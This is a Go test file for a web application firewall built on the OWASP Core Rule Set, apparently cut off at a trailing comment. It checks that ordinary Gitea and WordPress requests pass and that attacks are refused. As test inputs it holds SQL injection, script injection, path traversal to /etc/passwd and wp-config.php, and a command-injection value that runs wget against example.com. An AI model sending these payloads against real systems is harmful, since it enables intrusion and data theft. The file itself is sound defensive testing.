package coreruleset_test

import (
	"encoding/json"
	"fmt"
	"net/http"
	"net/http/httptest"
	"net/netip"
	"net/url"
	"os"
	"path/filepath"
	"reflect"
	"slices"
	"strconv"
	"strings"
	"sync"
	"testing"

	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)

// defaultDisabledRules are the rules SWW_WAF_DISABLED_RULES switches off
// by default.
//
//nolint:gochecknoglobals // a constant cannot be a list
var defaultDisabledRules = []int{920340, 920420, 920440, 920640, 930130, 930140}

// loaded holds, for each set of settings the tests have asked for, the
// function that loads the Core Rule Set with them once.
//
//nolint:gochecknoglobals // the tests share it
var loaded = struct {
	sync.Mutex

	loaders map[string]func() (*coreruleset.CoreRuleSet, error)
}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}

// loaderFor returns the function that loads the Core Rule Set with params
// once, making it the first time params are asked for.
func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) {
	loaded.Lock()
	defer loaded.Unlock()

	settings := fmt.Sprintf("%+v", params)

	load, found := loaded.loaders[settings]
	if !found {
		load = sync.OnceValues(func() (*coreruleset.CoreRuleSet, error) {
			return coreruleset.New(params)
		})
		loaded.loaders[settings] = load
	}

	return load
}

// shared returns the Core Rule Set with params, loaded once for every
// test that asks for the same settings.
func shared(t *testing.T, params coreruleset.Params) *coreruleset.CoreRuleSet {
	t.Helper()

	crs, err := loaderFor(params)()
	if err != nil {
		t.Fatalf("load the Core Rule Set: %v", err)
	}

	return crs
}

// sharedCoreRuleSet returns the Core Rule Set at paranoia level level,
// with the rules in disabled switched off. The set is shared with every
// test that asks for the same settings.
func sharedCoreRuleSet(
	t *testing.T, level int, disabled ...int,
) *coreruleset.CoreRuleSet {
	t.Helper()

	return shared(t, coreruleset.Params{ParanoiaLevel: level, DisabledRules: disabled})
}

// TestConcurrentRequestsKeepTheirOwnExclusions inspects a Drupal and a
// WordPress request at once, many times over, on one Core Rule Set, as
// sww's server does. Each passes only while its own exclusions apply.
func TestConcurrentRequestsKeepTheirOwnExclusions(t *testing.T) {
	t.Parallel()

	const rounds = 50

	crs := atDefaults(t)
	targets := []string{
		"/admin/people?user=docker-compose.yml&status=All&role=All&permission=All",
		"/wp-admin/edit-tags.php?taxonomy=post_tag&post_type=post&s=python3",
	}

	var inspecting sync.WaitGroup

	for range rounds {
		for _, target := range targets {
			inspecting.Go(func() {
				req := httptest.NewRequestWithContext(t.Context(), http.MethodGet,
					"http://git.example"+target, nil)
				req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
					"Gecko/20100101 Firefox/131.0")
				req.Header.Set("Accept", "text/html")

				result, _, err := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
				if err != nil || !reflect.DeepEqual(result, coreruleset.Result{}) {
					t.Errorf("GET %s: %+v, %v", target, result, err)
				}
			})
		}
	}

	inspecting.Wait()
}

// request is a request a test inspects: its method, its target, the path
// and the query as a client sends them, and its headers, each written
// "Name: value".
type request struct {
	method, target string
	headers        []string
}

// get is a GET request for target with headers.
func get(target string, headers ...string) request {
	return request{http.MethodGet, target, headers}
}

// inspect returns what crs finds in r, sent to git.example by a browser,
// whose Host, User-Agent and Accept r.headers may replace.
func inspect(t *testing.T, crs *coreruleset.CoreRuleSet, r request) coreruleset.Result {
	t.Helper()

	result, _ := inspectBody(t, crs, r, "")

	return result
}

// inspectBody is inspect for r with body, which is announced with its
// Content-Length unless it is "", and returns what crs read of body too.
func inspectBody(
	t *testing.T, crs *coreruleset.CoreRuleSet, r request, body string,
) (coreruleset.Result, string) {
	t.Helper()

	req := httptest.NewRequestWithContext(t.Context(), r.method,
		"http://git.example"+r.target, strings.NewReader(body))
	req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
		"Gecko/20100101 Firefox/131.0")
	req.Header.Set("Accept", "text/html")

	if body != "" {
		req.Header.Set("Content-Length", strconv.Itoa(len(body)))
	}

	for _, header := range r.headers {
		// Go's server keeps Host and Transfer-Encoding out of the headers.
		name, value, _ := strings.Cut(header, ": ")
		switch name {
		case "Host":
			req.Host = value
		case "Transfer-Encoding":
			req.TransferEncoding = []string{value}
		default:
			req.Header.Set(name, value)
		}
	}

	result, read, err := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
	if err != nil {
		t.Fatalf("read the body: %v", err)
	}

	return result, string(read)
}

// wantResult checks what crs finds in r.
func wantResult(
	t *testing.T, crs *coreruleset.CoreRuleSet, r request, want coreruleset.Result,
) {
	t.Helper()

	if got := inspect(t, crs, r); !reflect.DeepEqual(got, want) {
		t.Errorf("%s %s %q: %+v, want %+v", r.method, r.target, r.headers, got, want)
	}
}

// matched is the result of a request that the rules ids match, each of
// them a critical one, which adds 5 to the score.
func matched(ids ...int) coreruleset.Result {
	const critical = 5

	return coreruleset.Result{RuleIDs: ids, Score: critical * len(ids)}
}

// atDefaults returns the Core Rule Set as sww runs it by default.
func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
	t.Helper()

	return sharedCoreRuleSet(t, 1, defaultDisabledRules...)
}

// wantChange checks that crs lets through passes, a request one of the
// thirteen changes is for, and still finds result in refused, a request like
// it that the change is not for.
func wantChange(
	t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
	result coreruleset.Result,
) {
	t.Helper()

	wantResult(t, crs, passes, coreruleset.Result{})
	wantResult(t, crs, refused, result)
}

func TestPutPatchAndDeleteAreAllowed(t *testing.T) {
	t.Parallel()

	crs := atDefaults(t)

	for _, r := range []request{
		{http.MethodPut, "/v2/owner/image/blobs/uploads/1?digest=sha256:ab", nil},
		{http.MethodPatch, "/api/v1/repos/owner/repo/issues/1", nil},
		{http.MethodDelete, "/api/v1/repos/owner/repo/branches/old", nil},
	} {
		wantChange(t, crs, r, request{http.MethodTrace, r.target, nil}, matched(911100))
	}

	wantChange(t, crs, get("/"), request{"PROPFIND", "/", nil}, matched(911100))
}

func TestExpectAndContentEncodingAreAllowed(t *testing.T) {
	t.Parallel()

	const (
		pushType  = "Content-Type: application/x-git-receive-pack-request"
		fetchType = "Content-Type: application/x-git-upload-pack-request"
		length    = "Content-Length: 1024"
		push      = "/owner/repo.git/git-receive-pack"
		fetch     = "/owner/repo.git/git-upload-pack"
	)

	crs := atDefaults(t)

	wantResult(t, crs,
		request{http.MethodPost, push, []string{pushType, length, "Expect: 100-continue"}},
		coreruleset.Result{})
	wantResult(t, crs,
		request{http.MethodPost, fetch, []string{
			fetchType, length, "Content-Encoding: gzip",
		}},
		coreruleset.Result{})

	// Every other header on the Core Rule Set's list stays refused.
	for _, header := range []string{
		"Proxy: http://proxy.example",
		"Lock-Token: token",
		"Content-Range: bytes 0-1023/1024",
		"If: token",
		"X-HTTP-Method-Override: DELETE",
		"X-HTTP-Method: DELETE",
		"X-Method-Override: DELETE",
		"X-Middleware-Subrequest: middleware",
	} {
		wantResult(t, crs,
			request{http.MethodPost, push, []string{pushType, length, header}},
			matched(920450))
	}
}

func TestTransferEncodingIsRead(t *testing.T) {
	t.Parallel()

	// git sends a large push in chunks, with no Content-Length. Without
	// Transfer-Encoding, that would be a POST without a length (920180).
	wantResult(t, atDefaults(t),
		request{http.MethodPost, "/owner/repo.git/git-receive-pack", []string{
			"Content-Type: application/x-git-receive-pack-request",
			"Transfer-Encoding: chunked",
		}},
		coreruleset.Result{})
}

func TestMoreParametersThanCorazaKeepsIsAMatch(t *testing.T) {
	t.Parallel()

	const attack = "id=1'%20OR%20'1'='1"

	crs := atDefaults(t)

	// Coraza keeps 1000: an attack that is the 1000th is read, and one
	// after it is not, but the request is a match all the same.
	wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 999)+attack), matched(942100))
	wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 1000)+attack), matched(900300))

	// So it is with the fields of a form data or JSON body.
	crs = readingBodies(t)

	for _, tc := range []struct{ header, body string }{
		{formData, strings.Repeat("a=1&", 999) + attack},
		{jsonBody, `{"a":[` + strings.Repeat("1,", 998) + `1],"id":"` + injection + `"}`},
	} {
		wantBody(t, crs, post(tc.header), tc.body, matched(942100), tc.body)
	}

	for _, tc := range []struct{ header, body string }{
		{formData, strings.Repeat("a=1&", 1000) + attack},
		{jsonBody, `{"a":[` + strings.Repeat("1,", 999) + `1],"id":"` + injection + `"}`},
	} {
		wantBody(t, crs, post(tc.header), tc.body, matched(900300), tc.body)
	}
}

func TestRedirectURIMayNameALocalAddress(t *testing.T) {
	t.Parallel()

	const oauth = "/login/oauth/authorize?client_id=tea&response_type=code&"

	crs := atDefaults(t)

	wantChange(t, crs, get(oauth+"redirect_uri=http://127.0.0.1:52341/"),
		get(oauth+"next=http://127.0.0.1:52341/"), matched(931100, 934110))
	wantChange(t, crs, get(oauth+"redirect_uri=http://localhost:52341/"),
		get(oauth+"next=http://localhost:52341/"), matched(934110))
}

func TestParametersGiteaSendsNamesInSkipTheListsOfFilesPathsAndCommands(t *testing.T) {
	t.Parallel()

	crs := atDefaults(t)

	for _, value := range []struct {
		name string
		// result is what a parameter that is not one of gitea's gets.
		result coreruleset.Result
	}{
		// A file on the list of system files.
		{".gitignore", matched(930120)},
		// A command's name, after a directory on the list of shell paths.
		{"bin/docker-entrypoint", matched(932260, 932160)},
	} {
		for _, parameter := range []string{
			"path", "files", "skip-to", "sub_path", "ref", "sha", "branch", "workflow",
			"artifactName", "redirect_to",
		} {
			wantChange(t, crs, get("/?"+parameter+"="+value.name),
				get("/?q="+value.name), value.result)
		}
	}

	// What only those rules refuse gets through there too, but path
	// traversal and SQL injection are still refused.
	wantChange(t, crs, get("/?path=|cat%20/etc/passwd"), get("/?q=|cat%20/etc/passwd"),
		matched(930120, 932160))
	wantResult(t, crs, get("/?path=../../etc/passwd"),
		coreruleset.Result{RuleIDs: []int{930100, 930110}, Score: 20})
	wantResult(t, crs, get("/?path=1'%20OR%20'1'='1"), matched(942100))
}

func TestParameterNamesAreMatchedWithoutRegardToCase(t *testing.T) {
	t.Parallel()

	crs := atDefaults(t)

	wantChange(t, crs, get("/?Path=.gitignore"), get("/?q=.gitignore"), matched(930120))
	wantChange(t, crs, get("/?REDIRECT_URI=http://127.0.0.1:52341/"),
		get("/?next=http://127.0.0.1:52341/"), matched(931100, 934110))
}

func TestCookiesGiteaFlashAndRedirectToAreNotRead(t *testing.T) {
	t.Parallel()

	const (
		flash      = "success%3DFile%2Bpackage.json%2Bdeleted"
		redirectTo = "%2Fowner%2Frepo%2Fsrc%2Fbranch%2Fmain%2Fpackage.json"
	)

	crs := atDefaults(t)

	wantChange(t, crs, get("/owner/repo", "Cookie: gitea_flash="+flash),
		get("/owner/repo", "Cookie: flash="+flash), matched(930120))
	wantChange(t, crs, get("/", "Cookie: redirect_to="+redirectTo),
		get("/", "Cookie: redirect="+redirectTo), matched(930120))

	// Among other cookies, which are read.
	wantChange(t, crs,
		get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect_to="+redirectTo+
			"; i_like_gitea=abc"),
		get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect="+redirectTo+
			"; i_like_gitea=abc"),
		matched(930120))
}

func TestRefererIsNotCheckedForACommandOrJava(t *testing.T) {
	t.Parallel()

	const (
		search      = "https://git.example/explore/repos?q=env"
		runtimeJava = "https://git.example/openjdk/jdk/src/branch/master/src/" +
			"java.base/share/classes/java/lang/Runtime.java"
		stringMD = "https://git.example/owner/repo/src/branch/main/java.lang.String.md"
	)

	crs := atDefaults(t)

	wantChange(t, crs, get("/", "Referer: "+search), get("/", "User-Agent: "+search),
		matched(932340))
	wantChange(t, crs, get("/", "Referer: "+runtimeJava),
		get("/", "X-Page: "+runtimeJava), matched(944110))
	wantChange(t, crs, get("/", "Referer: "+stringMD), get("/", "X-Page: "+stringMD),
		matched(944130))

	// It is still checked for script and SQL injection.
	wantResult(t, crs,
		get("/", "Referer: https://git.example/?q=<script>alert(1)</script>"),
		matched(941110, 941160))
	wantResult(t, crs, get("/", "Referer: https://git.example/?q=1' OR '1'='1"),
		matched(942100))
}

func TestEmptyHeaderIsRead(t *testing.T) {
	t.Parallel()

	// An empty User-Agent is a notice, which adds 2.
	wantResult(t, atDefaults(t), get("/", "User-Agent: "),
		coreruleset.Result{RuleIDs: []int{920330}, Score: 2})
}

func TestParanoiaLevel(t *testing.T) {
	t.Parallel()

	// Accept-Charset is refused from paranoia level 2.
	r := get("/", "Accept-Charset: utf-8")

	wantResult(t, sharedCoreRuleSet(t, 1), r, coreruleset.Result{})
	wantResult(t, sharedCoreRuleSet(t, 2), r, matched(920451))
}

func TestEachDisabledRuleIsSwitchedOff(t *testing.T) {
	t.Parallel()

	// A method not allowed, and a Host that is an IP address, a warning,
	// which adds 3.
	r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}}

	wantResult(t, sharedCoreRuleSet(t, 1), r,
		coreruleset.Result{RuleIDs: []int{911100, 920350}, Score: 8})
	wantResult(t, sharedCoreRuleSet(t, 1, 920350, 911100), r, coreruleset.Result{})
}

func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
	t.Parallel()

	crs := atDefaults(t)
	reuse := "?mount=sha256:0000&from=owner/python3-app"

	wantChange(t, crs, get("/v2/owner/app/blobs/uploads/"+reuse), get("/upload/"+reuse),
		matched(932260))

	// A command after the image's name is still refused.
	wantResult(t, crs,
		get("/v2/owner/app/blobs/uploads/?from=owner/app;cat%20/etc/passwd"),
		matched(930120, 932160))
}

// withExclusions returns the Core Rule Set at the defaults, with the
// exclusions file at path.
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
	return coreruleset.New(coreruleset.Params{
		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ExclusionsFile: path,
	})
}

// exclusionsFile writes text to a file of exclusions and returns its path.
func exclusionsFile(t *testing.T, text string) string {
	t.Helper()

	path := filepath.Join(t.TempDir(), "exclusions.conf")

	err := os.WriteFile(path, []byte(text), 0o600)
	if err != nil {
		t.Fatal(err)
	}

	return path
}

// backupFileExclusion is an exclusions file that switches 920500, a rule
// of phase 1, off for the path of a backup file under /files/.
const backupFileExclusion = `SecRule REQUEST_FILENAME "@beginsWith /files/" ` +
	`"id:1,phase:1,pass,nolog,ctl:ruleRemoveTargetById=920500;REQUEST_FILENAME"` + "\n"

func TestExclusionsFileIsLoadedBeforeTheRules(t *testing.T) {
	t.Parallel()

	crs, err := withExclusions(exclusionsFile(t, backupFileExclusion))
	if err != nil {
		t.Fatalf("load the exclusions: %v", err)
	}

	wantChange(t, crs, get("/files/notes.txt~"), get("/notes.txt~"), matched(920500))
}

func TestRuleSwitchedOffAndNamedInTheExclusionsFileIsOff(t *testing.T) {
	t.Parallel()

	crs, err := coreruleset.New(coreruleset.Params{
		ParanoiaLevel: 1, DisabledRules: []int{920500},
		ExclusionsFile: exclusionsFile(t, backupFileExclusion),
	})
	if err != nil {
		t.Fatalf("load the exclusions: %v", err)
	}

	wantResult(t, crs, get("/notes.txt~"), coreruleset.Result{})
}

func TestExclusionsFileMayNameAnyNumberInAComment(t *testing.T) {
	t.Parallel()

	_, err := withExclusions(exclusionsFile(t,
		"# 942100: GET /issues/900123\n"+backupFileExclusion))
	if err != nil {
		t.Errorf("the exclusions did not load: %v", err)
	}
}

func TestExclusionsFileThatCannotBeUsedIsAnError(t *testing.T) {
	t.Parallel()

	missing := filepath.Join(t.TempDir(), "missing.conf")

	_, err := withExclusions(missing)
	if err == nil {
		t.Errorf("%s loaded", missing)
	}

	for _, tc := range []struct{ text, want string }{
		{"SecNoSuchDirective On\n", "unknown directive"},
		// sww's own rules may not be switched off or changed, by
		// id or in a range, on one line or split over several.
		{"SecRuleRemoveById 899999-901000\n", "names 899999-901000"},
		{
			"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveById=899999-901000\"\n",
			"names 899999-901000",
		},
		{
			"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveById=899999-+901000\"\n",
			"names 899999-+901000",
		},
		{
			"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveTargetById=900500;ARGS:from\"\n",
			"names 900500",
		},
		{"SecRuleRemoveById 899000-\\\n    901000\n", "names 899000-901000"},
		{
			"SecAction \"id:1,phase:1,pass,nolog,\\\n" +
				"    ctl:ruleRemoveById=9005\\\n    00\"\n",
			"names 900500",
		},
		// The Core Rule Set's rules load after the file.
		{"SecRuleRemoveById 942100\n", "SecRuleRemoveById in the exclusions file"},
		{
			"SecRuleUpdateTargetById 942100 \"!ARGS:id\"\n",
			"SecRuleUpdateTargetById in the exclusions file",
		},
	} {
		_, err := withExclusions(exclusionsFile(t, tc.text))
		if err == nil || !strings.Contains(err.Error(), tc.want) {
			t.Errorf("%q gave the error %v, want one with %q", tc.text, err, tc.want)
		}
	}
}

// giteaRequests returns the recorded ordinary gitea requests in testdata.
// Each has the Referer of a page that names the same, as a page opened
// from it has.
func giteaRequests(t *testing.T) []request {
	t.Helper()

	text, err := os.ReadFile(filepath.Join("testdata", "gitea-requests.txt"))
	if err != nil {
		t.Fatal(err)
	}

	var requests []request

	for line := range strings.Lines(string(text)) {
		line = strings.TrimSpace(line)
		if line == "" || strings.HasPrefix(line, "#") {
			continue
		}

		target, header, _ := strings.Cut(line, " ")

		headers := []string{"Referer: http://git.example" + target}
		if header != "" {
			headers = append(headers, header)
		}

		requests = append(requests, get(target, headers...))
	}

	return requests
}

// An SQL injection, a script injection and a shell command after a ";", as
// query values. Every app's tests check that its fields still refuse the
// first two.
const (
	sqlInjection     = "1'%20OR%20'1'='1"
	scriptInjection  = "%3Cscript%3Ealert(1)%3C%2Fscript%3E"
	commandInjection = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
)

// passwordField is the form data field password, ending in "=", in which
// several apps take a password.
const passwordField = "password="

// hardValues are words that name commands and files, as a query or form
// value. An app's tests check that its fields let them through.
//
//nolint:gochecknoglobals // a constant cannot be a list
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}

// wantRecordedRequestsPass checks that none of the recorded ordinary
// requests in the file name in testdata is refused, at the defaults and
// while bodies are read. Each request runs as its own parallel subtest.
func wantRecordedRequestsPass(t *testing.T, name string) {
	t.Helper()

	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default

	defaults, bodies := atDefaults(t), readingBodies(t)

	for _, recorded := range recordedRequests(t, name) {
		t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
			t.Parallel()

			r := request{recorded.Method, recorded.Target, recorded.Headers}

			got, _ := inspectBody(t, defaults, r, recorded.Body)
			if got.Score >= threshold {
				t.Errorf("%s %s refused: %+v", r.method, r.target, got)
			}

			got, _ = inspectBody(t, bodies, r, recorded.Body)
			if got.Score >= threshold {
				t.Errorf("%s %s %.200q refused while bodies are read: %+v",
					r.method, r.target, recorded.Body, got)
			}
		})
	}
}

func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
	t.Parallel()

	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default

	crs := atDefaults(t)

	for _, r := range giteaRequests(t) {
		if got := inspect(t, crs, r); got.Score >= threshold {
			t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
		}
	}

	// In q too, off gitea's search pages.
	for _, parameter := range []string{"id", "q"} {
		for _, attack := range []string{
			sqlInjection,
			"..%2Fcustom%2Fconf%2Fapp.ini",
			scriptInjection,
		} {
			target := "/owner/repo?" + parameter + "=" + attack
			if got := inspect(t, crs, get(target)); got.Score < threshold {
				t.Errorf("%s let through: %+v", target, got)
			}
		}
	}

	// gitea has no owner named api, so these are not a repository's search,
	// issues or pull requests. /api/v2/search is Mastodon's search.
	for _, path := range []string{
		"/api/v2/search",
		"/api/v2/issues",
		"/api/v2/pulls",
	} {
		for _, attack := range []string{
			sqlInjection,
			scriptInjection,
			"%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh",
		} {
			target := path + "?q=" + attack
			if got := inspect(t, crs, get(target)); got.Score < threshold {
				t.Errorf("%s let through: %+v", target, got)
			}
		}

		// Nor is a page opened from them.
		for _, attack := range []string{scriptTag, injection} {
			referer := "Referer: https://example.com" + path + "?q=" + attack
			if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
				t.Errorf("%s let through: %+v", referer, got)
			}
		}
	}
}

// WordPress's paths: signing in, posting a comment, admin-ajax.php, and the
// REST API routes of a post and of the tags.
const (
	wpLogin   = "/wp-login.php"
	wpComment = "/wp-comments-post.php"
	wpAjax    = "/wp-admin/admin-ajax.php"
	wpPost    = "/wp-json/wp/v2/posts/1"
	wpTags    = "/wp-json/wp/v2/tags"
)

// recordedRequest is a line of a file of recorded requests in testdata.
type recordedRequest struct {
	Method  string   `json:"method"`
	Target  string   `json:"target"`
	Headers []string `json:"headers"`
	Body    string   `json:"body"`
}

// recordedRequests returns the recorded ordinary requests in the file name
// in testdata, each with its body.
func recordedRequests(t *testing.T, name string) []recordedRequest {
	t.Helper()

	path := filepath.Join("testdata", name)

	text, err := os.ReadFile(path) //nolint:gosec // a file in testdata
	if err != nil {
		t.Fatal(err)
	}

	var requests []recordedRequest

	for line := range strings.Lines(string(text)) {
		if strings.HasPrefix(line, "#") {
			continue
		}

		var r recordedRequest

		err := json.Unmarshal([]byte(line), &r)
		if err != nil {
			t.Fatalf("%q: %v", line, err)
		}

		requests = append(requests, r)
	}

	return requests
}

// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
// but reading bodies up to the largest SWW_WAF_BODY_LIMIT.
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
	t.Helper()

	return shared(t, coreruleset.Params{
		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
	})
}

// wordpressAttackTargets returns attack in a query parameter no exclusion
// names, and in each field whose searches and names skip some rules there.
func wordpressAttackTargets(attack string) []string {
	return []string{
		"/?id=" + attack,
		wpLogin + "?id=" + attack,
		"/wp-admin/admin-ajax.php?id=" + attack,
		"/wp-json/wp/v2/posts?id=" + attack,
		"/?s=" + attack,
		"/index.php?s=" + attack,
		"/page/2/?s=" + attack,
		"/index.php/page/2/?s=" + attack,
		"/wp-admin/edit.php?s=" + attack,
		"/wp-admin/upload.php?s=" + attack,
		"/wp-admin/plugin-install.php?s=" + attack,
		"/wp-admin/edit-comments.php?s=" + attack,
		"/wp-admin/users.php?s=" + attack,
		"/wp-admin/plugins.php?s=" + attack,
		"/wp-admin/edit-tags.php?s=" + attack,
		"/wp-json/wp/v2/search?search=" + attack,
		"/wp-json/wp/v2/posts?search=" + attack,
		"/wp-json/wp/v2/tags?search=" + attack,
		"/?rest_route=/wp/v2/search&search=" + attack,
		"/wp-json/wp/v2/posts?slug=" + attack,
		"/wp-json/wp/v2/tags?slug=" + attack,
		"/?rest_route=/wp/v2/posts&slug=" + attack,
		"/wp-json/wp/v2/block-directory/search?term=" + attack,
		"/wp-admin/themes.php?search=" + attack,
		"/wp-admin/theme-install.php?search=" + attack,
		"/wp-admin/upload.php?search=" + attack,
		"/wp-admin/admin-ajax.php?q=" + attack,
		"/wp-admin/admin-ajax.php?term=" + attack,
		"/wp-admin/edit.php?_wp_http_referer=" + attack,
		"/wp-admin/upload.php?_wp_http_referer=" + attack,
		"/?tag=" + attack,
		"/index.php?tag=" + attack,
		"/wp-admin/edit.php?tag=" + attack,
		"/wp-admin/edit.php?category_name=" + attack,
		"/wp-admin/plugin-editor.php?file=" + attack,
		"/wp-admin/theme-editor.php?file=" + attack,
		"/wp-admin/plugin-editor.php?plugin=" + attack,
		"/wp-admin/plugins.php?plugin=" + attack,
		"/wp-admin/update.php?plugin=" + attack,
		"/wp-admin/admin.php?page=" + attack,
		"/wp-admin/options-general.php?page=" + attack,
		"/wp-admin/tools.php?page=" + attack,
		"/wp-admin/site-editor.php?p=" + attack,
		"/wp-admin/site-editor.php?postId=" + attack,
		"/wp-admin/admin-ajax.php?slug=" + attack,
		"/wp-json/wp-block-editor/v1/url-details?url=" + attack,
		"/wp-json/oembed/1.0/proxy?url=" + attack,
		"/?rest_route=/oembed/1.0/proxy&url=" + attack,
	}
}

func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
	t.Parallel()

	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default

	defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)

	for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
		t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
			t.Parallel()

			r := request{recorded.Method, recorded.Target, recorded.Headers}

			crsSets := []*coreruleset.CoreRuleSet{defaults}
			if recorded.Body != "" {
				crsSets = append(crsSets, bodies)
			}

			for _, crs := range crsSets {
				got, _ := inspectBody(t, crs, r, recorded.Body)
				if got.Score >= threshold {
					t.Errorf("%s %s %.200q refused: %+v", r.method, r.target, recorded.Body, got)
				}
			}
		})
	}

	for _, attack := range []string{
		sqlInjection,
		"..%2F..%2Fwp-config.php",
		scriptInjection,
	} {
		for _, target := range wordpressAttackTargets(attack) {
			if got := inspect(t, defaults, get(target)); got.Score < threshold {
				t.Errorf("%s let through: %+v", target, got)
			}
		}

		// In a body field no exclusion names, on the paths with exclusions.
		body := "id=" + attack
		for _, target := range []string{
			wpLogin,
			wpComment,
			wpAjax,
			"/wp-admin/post.php",
			"/wp-admin/options.php",
		} {
			got, _ := inspectBody(t, bodies,
				request{http.MethodPost, target, []string{formData}}, body)
			if got.Score < threshold {
				t.Errorf("POST %s %q let through: %+v", target, body, got)
			}
		}

		// In the body fields that skip some rules.
		posts := append(wordpressBodyFields(attack),
			wordpressBodyField{wpComment, formData, "url=" + attack})
		for _, p := range posts {
			got, _ := inspectBody(t, bodies,
				request{http.MethodPost, p.target, []string{p.contentType}}, p.body)
			if got.Score < threshold {
				t.Errorf("POST %s %q let through: %+v", p.target, p.body, got)
			}
		}
	}
}

// wordpressBodyField is a POST to target that sends body, a field whose
// name skips some rules there, with the Content-Type header contentType.
type wordpressBodyField struct{ target, contentType, body string }

// wordpressBodyFields returns encoded, a URL-encoded value, in a plugin to
// install and in each JSON field of a REST API save that skips some rules.
func wordpressBodyFields(encoded string) []wordpressBodyField {
	value, _ := url.QueryUnescape(encoded)

	return []wordpressBodyField{
		{wpAjax, formData, "action=install-plugin&slug=" + encoded},
		{wpPost, jsonBody, fmt.Sprintf(`{"title":%q}`, value)},
		{wpPost, jsonBody, fmt.Sprintf(`{"excerpt":%q}`, value)},
		{wpPost, jsonBody, fmt.Sprintf(`{"slug":%q}`, value)},
		{wpTags, jsonBody, fmt.Sprintf(`{"name":%q}`, value)},
	}
}

// wordpressWords returns words that ordinary WordPress names and searches
// hold, each with the rule it misfired on.
func wordpressWords() []struct {
	value string
	rule  int
} {
	return []struct {
		value string
		rule  int
	}{
		{".htaccess", 930120},
		{"powershell", 932120},
		{"ls -la", 932250},
		{"python3", 932260},
	}
}

// wordpressBlock is the comment that starts every block of WordPress's
// HTML, which rule 941180 matches.
const wordpressBlock = "<!-- wp:paragraph -->"

// wordpressOverride is the header with which the block editor saves.
const wordpressOverride = "X-HTTP-Method-Override: PUT"

// wordpressRESTAddresses returns the four addresses of route on the REST
// API.
func wordpressRESTAddresses(route string) []string {
	return []string{
		"/wp-json" + route,
		"/index.php/wp-json" + route,
		"/index.php?rest_route=" + route,
		"/?rest_route=" + route,
	}
}

func TestWordPressExclusionsFollowEveryRESTAddress(t *testing.T) {
	t.Parallel()

	crs := readingBodiesUpTo64K(t)
	content := `{"content":"` + wordpressBlock + `"}`

	for _, route := range []string{
		"/wp/v2/posts/1",
		"/wp/v2/posts/1/autosaves",
		"/wp/v2/pages/2",
		"/wp/v2/templates/twentytwentyfive//index",
		"/wp/v2/template-parts/twentytwentyfive//header",
	} {
		for _, address := range wordpressRESTAddresses(route) {
			r := request{http.MethodPost, address, []string{jsonBody, wordpressOverride}}
			wantBody(t, crs, r, content, coreruleset.Result{}, content)
		}
	}

	// The routes that save something else keep the rules.
	for _, route := range []string{
		"/wp/v2/comments", "/wp/v2/users/1", "/wp/v2/settings",
	} {
		for _, address := range wordpressRESTAddresses(route) {
			r := request{http.MethodPost, address, []string{jsonBody}}
			wantBody(t, crs, r, content, matched(941180), content)
		}
	}

	// WordPress follows a route in the query over one in the path.
	r := request{
		http.MethodPost, "/wp-json/wp/v2/posts/1?rest_route=/wp/v2/comments",
		[]string{jsonBody},
	}
	wantBody(t, crs, r, content, matched(941180), content)
}

func TestWordPressSearchesAndFileNamesAreExcludedOnlyThere(t *testing.T) {
	t.Parallel()

	crs := atDefaults(t)

	wantChange(t, crs, get("/?s=python3"), get("/wp-admin/options.php?id=python3"),
		matched(932260))
	wantChange(t, crs, get("/?s=python3"), get("/?q=python3"), matched(932260))
	wantChange(t, crs, get("/index.php?s=ls+-la"), get("/index.php?q=ls+-la"),
		matched(932250))
	wantChange(t, crs, get("/wp-json/wp/v2/search?search=powershell"),
		get("/wp-json/example/v1/things?search=powershell"), matched(932120))
	wantChange(t, crs, get("/index.php?rest_route=/wp/v2/search&search=powershell"),
		get("/index.php?rest_route=/example/v1/things&search=powershell"), matched(932120))
	wantChange(t, crs,
		get("/wp-admin/plugin-editor.php?file=akismet%2Fviews%2Fconfig.php"),
		get("/wp-admin/options.php?file=akismet%2Fviews%2Fconfig.php"), matched(930120))
	wantChange(t, crs, get("/wp-admin/theme-editor.php?file=docker-compose.yml"),
		get("/wp-admin/theme-editor.php?id=docker-compose.yml"), matched(932260))
}

// TestWordPressGroupsSkipRulesOnTheirFields checks each field of the three
// groups in wordpress.conf at one target of its group, against the same
// values in a field no group names, then one field at each other target of
// the group, then the names in the first group that skip fewer rules.
